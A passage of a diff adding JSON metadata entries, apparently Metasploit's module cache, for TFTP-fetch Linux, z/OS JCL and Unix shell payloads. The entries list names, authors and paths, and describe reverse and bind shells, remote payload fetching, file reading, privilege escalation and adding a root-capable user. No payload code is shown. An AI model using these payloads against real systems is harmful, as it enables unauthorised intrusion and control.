"cmd/linux/tftp/x86/metsvc_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/metsvc_reverse_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x86/read_file": { + "name": "TFTP Fetch, Linux Read File", + "fullname": "payload/cmd/linux/tftp/x86/read_file", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "hal" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/read_file", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/read_file", + "staged": false + }, + "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" + }, + "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" + }, + "payload_cmd/linux/tftp/x86/shell/bind_nonx_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" + }, + "payload_cmd/linux/tftp/x86/shell/bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" + }, + "payload_cmd/linux/tftp/x86/shell/bind_tcp_uuid": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" + }, + "payload_cmd/linux/tftp/x86/shell/find_tag": { + "name": "TFTP Fetch, Linux Command Shell, Find Tag Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nUse an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/find_tag", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" + }, + "payload_cmd/linux/tftp/x86/shell/reverse_ipv6_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" + }, + "payload_cmd/linux/tftp/x86/shell/reverse_nonx_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" + }, + "payload_cmd/linux/tftp/x86/shell/reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "tkmru" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" + }, + "payload_cmd/linux/tftp/x86/shell/reverse_tcp_uuid": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" + }, + "payload_cmd/linux/tftp/x86/shell_bind_ipv6_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/shell_bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection over IPv6 and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell_bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_bind_ipv6_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x86/shell_bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_bind_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x86/shell_bind_tcp_random_port": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp_random_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Geyslan G. Bem ", + "Aleh Boitsau " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "references": [ + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", + "EDB-41631" + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell_bind_tcp_random_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_bind_tcp_random_port", + "staged": false + }, + "payload_cmd/linux/tftp/x86/shell_find_port": { + "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_find_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell_find_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_find_port", + "staged": false + }, + "payload_cmd/linux/tftp/x86/shell_find_tag": { + "name": "TFTP Fetch, Linux Command Shell, Find Tag Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection (proxy/nat safe)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell_find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_find_tag", + "staged": false + }, + "payload_cmd/linux/tftp/x86/shell_reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle ", + "joev " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x86/shell_reverse_tcp_ipv6": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Matteo Malvica " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/shell_reverse_tcp_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp_ipv6", + "staged": false + }, + "payload_cmd/mainframe/apf_privesc_jcl": { + "name": "JCL to Escalate Privileges", + "fullname": "payload/cmd/mainframe/apf_privesc_jcl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Bigendian Smalls", + "Ayoub" + ], + "description": "(Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.)", + "references": [ + + ], + "platform": "Mainframe", + "arch": "cmd", + "rport": 21, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb", + "is_install_path": true, + "ref_name": "cmd/mainframe/apf_privesc_jcl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/mainframe/bind_shell_jcl": { + "name": "Z/OS (MVS) Command Shell, Bind TCP", + "fullname": "payload/cmd/mainframe/bind_shell_jcl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Bigendian Smalls" + ], + "description": "Provide JCL which creates a bind shell\n This implmentation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "references": [ + + ], + "platform": "Mainframe", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb", + "is_install_path": true, + "ref_name": "cmd/mainframe/bind_shell_jcl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/mainframe/generic_jcl": { + "name": "Generic JCL Test for Mainframe Exploits", + "fullname": "payload/cmd/mainframe/generic_jcl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Bigendian Smalls" + ], + "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads", + "references": [ + + ], + "platform": "Mainframe", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb", + "is_install_path": true, + "ref_name": "cmd/mainframe/generic_jcl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/mainframe/reverse_shell_jcl": { + "name": "Z/OS (MVS) Command Shell, Reverse TCP", + "fullname": "payload/cmd/mainframe/reverse_shell_jcl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Bigendian Smalls" + ], + "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "references": [ + + ], + "platform": "Mainframe", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb", + "is_install_path": true, + "ref_name": "cmd/mainframe/reverse_shell_jcl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/adduser": { + "name": "Add user with useradd", + "fullname": "payload/cmd/unix/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Nick Cottrell " + ], + "description": "Creates a new user. By default the new user is set with sudo\n but other options exist to make the new user automatically\n root but this is not automatically set since the new user will\n be treated as root (and login may be difficult). The new user\n can also be set as just a standard user if desired.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-01 12:30:26 +0000", + "path": "/modules/payloads/singles/cmd/unix/adduser.rb", + "is_install_path": true, + "ref_name": "cmd/unix/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_awk": { + "name": "Unix Command Shell, Bind TCP (via AWK)", + "fullname": "payload/cmd/unix/bind_awk", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "espreto ", + "Ulisses Castro " + ], + "description": "Listen for a connection and spawn a command shell via GNU AWK", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_awk.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_awk", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_busybox_telnetd": { + "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)", + "fullname": "payload/cmd/unix/bind_busybox_telnetd", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Matthew Kienow " + ], + "description": "Listen for a connection and spawn a command shell via BusyBox telnetd", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_busybox_telnetd", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_inetd": { + "name": "Unix Command Shell, Bind TCP (inetd)", + "fullname": "payload/cmd/unix/bind_inetd", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Listen for a connection and spawn a command shell (persistent)", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_inetd", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_jjs": { + "name": "Unix Command Shell, Bind TCP (via jjs)", + "fullname": "payload/cmd/unix/bind_jjs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "conerpirate", + "bcoles " + ], + "description": "Listen for a connection and spawn a command shell via jjs", + "references": [ + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_jjs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_lua": { + "name": "Unix Command Shell, Bind TCP (via Lua)", + "fullname": "payload/cmd/unix/bind_lua", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "xistence " + ], + "description": "Listen for a connection and spawn a command shell via Lua", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_lua.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_lua", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_netcat": { + "name": "Unix Command Shell, Bind TCP (via netcat)", + "fullname": "payload/cmd/unix/bind_netcat", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "m-1-k-3", + "egypt ", + "juan vazquez " + ], + "description": "Listen for a connection and spawn a command shell via netcat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb", 